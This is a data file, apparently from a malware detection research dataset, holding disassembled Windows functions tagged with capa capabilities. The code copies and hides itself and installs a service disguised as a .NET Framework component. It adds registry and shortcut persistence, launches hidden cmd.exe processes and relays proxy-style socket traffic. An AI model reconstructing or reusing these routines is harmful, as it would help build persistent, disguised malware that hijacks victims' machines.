joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40393b
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push esi
lea eax, [ebp - 0x264]
push edi
push eax
call fcn.004035ef
pop ecx
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
push 0x40a360
lea eax, [ebp - 8]
push str._s_s
push eax
call fcn.00402b0d
add esp, 0x10
test eax, eax
je 0x403a3e
call fcn.00405e1c
mov edi, dword [ebp - 8]
push 0
push edi
push 0x41a578
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x264]
push eax
call fcn.00405baa
pop ecx
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x20], str..dll
mov dword [ebp - 0x1c], str..xml
mov dword [ebp - 0x18], str..cpl
mov dword [ebp - 0x14], str..vbs
mov dword [ebp - 0x10], str..tlb
mov dword [ebp - 0xc], str..ocx
xor esi, esi
push dword [ebp + esi*4 - 0x20]
call fcn.00403768
inc esi
pop ecx
cmp esi, 6
jb 0x4039d7
call fcn.00403452
cmp byte [ebp + 8], 0
push edi
je 0x4039fb
call fcn.00404d19
pop ecx
jmp 0x403a37
call fcn.00404bc6
pop ecx
push 0x38
lea eax, [ebp - 0x58]
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [ebp - 0x40], 0
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x3c
mov dword [ebp - 0x58], 0xc600
mov dword [ebp - 0x50], str.open
mov dword [ebp - 0x4c], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
call fcn.004023f0
pop ecx
pop edi
pop esi
leave
ret

Function at 0x403a42
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
xor ebx, ebx
push edi
mov esi, 0x40a360
cmp word [0x40a360], bx
jne 0x403af5
cmp byte [ebp + 8], bl
je 0x403aa7
cmp byte [0x40a35c], bl
je 0x403a7e
movzx eax, word [0x41a368]
push eax
push str._c:ProgramDataMicrosoft_
jmp 0x403a9b
push ebx
push 0x26
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x21c]
push eax
push str._sWindows_NT_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x403abf
push esi
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402ea3
push eax
call fcn.00402c6a
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str.v2.0_2.0.0.0___x_x_x
push ebx
push esi
call fcn.00402bfb
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403b5f
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0x40
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x60]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41a368
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 0x101
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
mov esi, str.cmd.exe
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
push ebx
push 1
movsd dword es:[edi], dword [esi]
push ebx
push ebx
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push ebx
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403be2
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40411d
Capabilities:
Check mutex on windows
Extract resource via kernel32 functions
Get file size
Initialize winsock library
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd9c
push ebx
push esi
push edi
lea eax, [esp + 0x1a8]
push eax
push dword [ebp + 8]
call fcn.0040300b
pop ecx
pop ecx
lea eax, [esp + 0x1a8]
push eax
xor ebx, ebx
push ebx
push 0x42a7a4
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x404327
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404327
call fcn.00405e82
mov esi, eax
cmp esi, ebx
je 0x40418b
push esi
call fcn.00402909
pop ecx
push esi
mov dword [0x42a57c], eax
call fcn.004023f0
pop ecx
push ebx
lea eax, [esp + 0x5ac]
push eax
push 0x400
push str..common.dat
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 4
pop esi
push 0x10
pop edi
mov dword [0x41a570], esi
call fcn.00402307
mov ecx, dword [0x41a570]
mov dword [0x41a574], eax
cmp ecx, ebx
jbe 0x4041d5
mov edx, 0x40a220
sub edx, eax
mov edi, dword [edx + eax]
mov dword [eax], edi
add eax, esi
dec ecx
jne 0x4041cb
push ebx
push ebx
push 3
push ebx
push ebx
push closesocket
lea eax, [esp + 0x5c0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x40427b
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
jmp 0x40426d
push ebx
lea eax, [esp + 0x18]
push eax
push 4
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x20]
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x41a570]
sub esi, dword [esp + 0x14]
mov ecx, dword [0x41a574]
xor edx, edx
cmp eax, ebx
jbe 0x404245
mov edi, dword [ecx + edx*4]
cmp edi, dword [esp + 0xc]
je 0x40426d
inc edx
cmp edx, eax
jb 0x404237
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00402365
mov edx, dword [0x41a570]
inc dword [0x41a570]
pop ecx
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [0x41a574], eax
mov dword [eax + edx*4], ecx
cmp esi, ebx
jne 0x404207
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push ebx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, ebx
je 0x4042dc
push 0x10
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, ebx
je 0x4042d5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x4042d5
mov cx, word [eax + 0x32]
mov word [0x41a360], cx
mov cx, word [eax + 0x30]
mov word [0x41a362], cx
mov cx, word [eax + 0x36]
mov word [0x41a364], cx
mov ax, word [eax + 0x34]
mov word [0x41a366], ax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [esp + 0x18]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [0x41a570], ebx
jbe 0x40431e
mov eax, dword [0x41a574]
push dword [eax + esi*4]
call fcn.00403f13
pop ecx
test al, al
jne 0x40431e
push 0x3e8
call edi
inc esi
cmp esi, dword [0x41a570]
jb 0x4042fc
push 0xea60
call edi
jmp 0x4042f2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4046bf
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
and dword [esp + 4], 0
push ebx
push esi
push edi
mov esi, 0x42a7b0
push esi
lea eax, [esp + 0x14]
push str._s.lnk
push eax
mov byte [esp + 0x1b], 0
call fcn.00402b0d
add esp, 0xc
test eax, eax
je 0x40478a
mov edi, 0xfffe
call fcn.00402307
mov ebx, eax
test ebx, ebx
je 0x404780
call fcn.00402307
mov edi, eax
test edi, edi
je 0x404779
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x404772
lea eax, [esp + 0x44]
push eax
push esi
push str._s_s
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push dword [ebp + 8]
push ebx
call fcn.00404610
add esp, 0x1c
test al, al
jne 0x404763
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40472b
jmp 0x404768
mov byte [esp + 0xf], 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.004023f0
pop ecx
push ebx
call fcn.004023f0
pop ecx
push dword [esp + 0x10]
call fcn.004023f0
pop ecx
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4048ee
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov ebx, 0x42a7b0
push ebx
lea eax, [ebp - 4]
push str._s.lnk
push eax
call fcn.00402b0d
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x4049b2
mov edi, 0xfffe
call fcn.00402307
mov esi, eax
test esi, esi
je 0x4049a9
call fcn.00402307
mov edi, eax
test edi, edi
je 0x4049a2
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40499b
lea eax, [ebp - 0x22c]
push eax
push ebx
push str._s_s
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push str.shit
push esi
call fcn.00404610
add esp, 0x1c
test al, al
je 0x40497e
call fcn.0040582f
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404952
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.004023f0
pop ecx
push esi
call fcn.004023f0
pop ecx
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4049b7
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
push ebx
push dword [ebp + 8]
mov byte [ebp - 2], bl
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0x104
call esi
cmp eax, 0x103
je 0x404aaa
push edi
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a7d
mov edi, dword [ebp - 0x10]
call fcn.00402307
mov edi, eax
cmp edi, ebx
je 0x404a7d
lea eax, [ebp - 0x10]
push eax
push edi
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a58
push edi
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x404a58
mov byte [ebp - 1], 1
push edi
call fcn.004023f0
pop ecx
cmp byte [ebp - 1], bl
je 0x404a7d
mov byte [ebp - 2], 1
cmp byte [ebp + 0x10], bl
je 0x404aa9
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
inc dword [ebp - 0xc]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 8], 0x104
push dword [ebp + 8]
call esi
cmp eax, 0x103
jne 0x4049f8
pop edi
mov al, byte [ebp - 2]
pop esi
pop ebx
leave
ret

Function at 0x404ab1
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push dword [ebp + 8]
lea ebx, [ebp - 0x210]
call fcn.0040591d
push dword [ebp + 8]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push str.__s_
push eax
call fcn.00402b0d
mov esi, eax
add esp, 0x10
add esi, esi
je 0x404b4f
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push 0x2011f
push 0
push dword [ebx + 0x40a210]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404b3e
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004049b7
add esp, 0xc
test al, al
jne 0x404b35
push esi
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 4
cmp ebx, 8
jb 0x404aea
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x404bc6
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x228
push 0x4081c0
call fcn.00406030
mov esi, ecx
push esi
call fcn.004046bf
pop ecx
test al, al
jne 0x4048e8
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
push 0x4072d8
push 1
push 0
push 0x4072e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4048e8
push esi
lea ebx, [ebp - 0x238]
call fcn.0040591d
pop ecx
mov edi, 0xfffe
call fcn.00402307
mov edi, eax
mov dword [ebp - 0x2c], edi
xor ebx, ebx
cmp edi, ebx
je 0x4048df
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub eax, esi
push eax
push esi
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x238]
push eax
push 0x42a7b0
push str._s_s.lnk
lea eax, [ebp - 0x28]
push eax
call fcn.00402b0d
add esp, 0x1c
test eax, eax
je 0x4048d6
lea eax, [ebp - 0x30]
push eax
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
cmp eax, ebx
je 0x404852
push eax
push esi
call fcn.00405876
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
jmp 0x404855
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
cmp dword [ebp - 0x20], ebx
je 0x40487d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push dword [ebp - 0x20]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push 0x4072f8
push eax
call dword [ecx]
test eax, eax
js 0x4048ac
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 1
push dword [ebp - 0x28]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or dword [ebp - 4], 0xffffffff
jmp 0x4048bf
cmp dword [ebp - 0x20], ebx
je 0x4048cd
push dword [ebp - 0x20]
call fcn.004023f0
pop ecx
push dword [ebp - 0x28]
call fcn.004023f0
pop ecx
push dword [ebp - 0x2c]
call fcn.004023f0
pop ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.0040606b
ret
xor eax, eax
cmp word [0x42a7b0], ax
jne 0x404be4
push 0x42a7b0
push eax
push eax
push 0x8007
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push dword [esp + 4]
call fcn.00404ab1
pop ecx
mov ecx, dword [esp + 4]
jmp 0x404795
Function at 0x404c6c
Capabilities:
Delete service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 1
call fcn.00402dd3
pop ecx
test al, al
je 0x404c82
mov al, 1
leave
ret
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x404d10
push edi
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, ebx
je 0x404d06
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x404cf7
cmp dword [ebp - 0x1c], 4
je 0x404d15
cmp dword [ebp - 0x1c], 2
je 0x404d15
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x404cf7
xor esi, esi
push 1
call fcn.00402dd3
pop ecx
test al, al
jne 0x404d15
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x3c
jl 0x404cda
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov al, bl
pop ebx
leave
ret
mov bl, 1
jmp 0x404cfe

Function at 0x404d19
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x404e3a
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
mov eax, 0xffff
call fcn.004024cb
movzx edi, ax
call fcn.00405c06
test al, al
push edi
lea eax, [ebp - 0x448]
je 0x404d72
push str.NGEN_u_32
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u_X86
jmp 0x404d80
push str.NGEN_u
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u
lea eax, [ebp - 0x240]
push eax
call esi
add esp, 0x18
push 0x407da4
push str.LocalSystem
push ebx
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x240]
push ebx
push 2
push 0x10
push 0xf01ff
push eax
lea eax, [ebp - 0x448]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x404d45
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea ecx, [ebp - 0xc]
push ecx
xor esi, esi
inc esi
push esi
push eax
mov dword [ebp - 0xc], str.Microsoft_.NET_Framework_NGEN
call edi
mov eax, 0xea60
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push 2
push dword [ebp - 4]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0x15180
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 3
call edi
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
setne bl
call esi
push dword [ebp - 8]
call esi
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x404e84
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
push 0xf003f
push ebx
push ebx
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x404fdc
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
push ebx
push ebx
push 3
push 0x30
push ebx
push eax
call esi
test eax, eax
jne 0x404fd2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x404fd2
push edi
mov edi, dword [ebp - 8]
call fcn.00402307
mov edi, eax
mov dword [ebp - 0x24], edi
cmp edi, ebx
je 0x404fd1
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 3
push 0x30
push ebx
push dword [ebp - 0x18]
call esi
test eax, eax
je 0x404fc8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
jbe 0x404fc8
mov esi, edi
push 1
push dword [esi]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x404fb6
lea ecx, [ebp - 0xc]
push ecx
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
jne 0x404fa8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x404fa8
mov edi, dword [ebp - 0xc]
call fcn.00402307
mov edi, eax
cmp edi, ebx
je 0x404fa8
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push edi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x404fa1
push dword [ebp - 0x20]
push dword [ebp + 8]
push dword [edi + 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x404fa1
push dword [esi]
mov byte [ebp - 1], 1
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call fcn.004023f0
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [ebp - 1], bl
jne 0x404fc8
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add esi, 0x2c
cmp eax, dword [ebp - 0x14]
jb 0x404f2c
push dword [ebp - 0x24]
call fcn.004023f0
pop ecx
pop edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov al, byte [ebp - 1]
pop ebx
leave
ret

Function at 0x405030
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [ebp + 8], 0xffffffff
je 0x405077
test byte [ebp + 0x10], 2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x10
je 0x405063
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x40506b
or eax, 0xffffffff
leave
ret
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x40505a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov ax, word [ebp - 0x1e]
jmp 0x40507d
and dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 0xe], ax
mov al, byte [ebp + 0xc]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x10]
push 8
push eax
mov byte [ebp - 0x10], 0
call fcn.004027dc
sub eax, 8
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret
Function at 0x4050a2
Capabilities:
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xbc]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x10], 0x80
xor ebx, ebx
xor esi, esi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x4050d8
movzx esi, word [ebp - 0xbc]
xor eax, eax
cmp si, 0x17
mov esi, dword [sym.imp.WS2_32.dll_recv]
sete al
push ebx
push 7
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
call esi
cmp eax, 7
jne 0x40526d
xor edi, edi
inc edi
jmp 0x405109
cmp byte [ebp - 5], bl
je 0x405118
push ebx
push edi
lea eax, [ebp - 5]
push eax
push dword [ebp + 8]
call esi
cmp eax, edi
je 0x405104
mov ecx, dword [ebp - 0x19]
mov eax, ecx
and eax, 0xff0000
mov edx, ecx
shr edx, 0x10
or eax, edx
mov edx, ecx
and edx, 0xff00
mov edi, ecx
shl edi, 0x10
or edx, edi
shr eax, 8
shl edx, 8
or eax, edx
dec eax
mov byte [ebp - 0xa], 0x5a
cmp eax, 0xfe
ja 0x40518b
mov byte [ebp - 5], 0x5a
xor edi, edi
push ebx
push 1
lea eax, [ebp - 6]
push eax
push dword [ebp + 8]
call esi
cmp eax, 1
jne 0x40517a
mov al, byte [ebp - 6]
mov byte [ebp + edi - 0x13c], al
cmp al, bl
je 0x40519f
inc edi
cmp edi, 0xff
jle 0x405152
mov byte [ebp - 0xa], 0x5b
cmp byte [ebp - 0xa], 0x5a
jne 0x40526d
mov ecx, dword [ebp - 0x19]
movzx eax, byte [ebp - 0x1c]
dec eax
mov byte [ebp - 5], 1
je 0x4051f1
mov byte [ebp - 0xa], 0x5b
jmp 0x40525a
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4051e5
mov esi, dword [ebp - 0x14]
cmp esi, ebx
je 0x4051d8
cmp dword [esi + 4], 2
je 0x4051cf
mov esi, dword [esi + 0x1c]
cmp esi, ebx
jne 0x4051c0
jmp 0x4051d8
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x19], eax
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp esi, ebx
jne 0x4051e9
mov byte [ebp - 5], 0x5b
mov al, byte [ebp - 5]
mov byte [ebp - 0xa], al
jmp 0x40517e
push 2
pop eax
mov word [ebp - 0x38], ax
mov ax, word [ebp - 0x1b]
mov word [ebp - 0x36], ax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x34], ecx
call fcn.00402829
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x405196
push dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
push 0x5a
push esi
call fcn.00405030
add esp, 0xc
cmp eax, 1
jne 0x405240
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x20], 0
call fcn.00402ceb
pop ecx
jmp 0x40524f
cmp eax, 0xffffffff
jne 0x40524b
mov byte [ebp - 0xa], 0x5b
jmp 0x40524f
mov byte [ebp - 5], 0
call fcn.0040288f
cmp byte [ebp - 5], 0
je 0x40526d
push dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
push dword [ebp - 0xa]
push 0xffffffffffffffff
call fcn.00405030
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret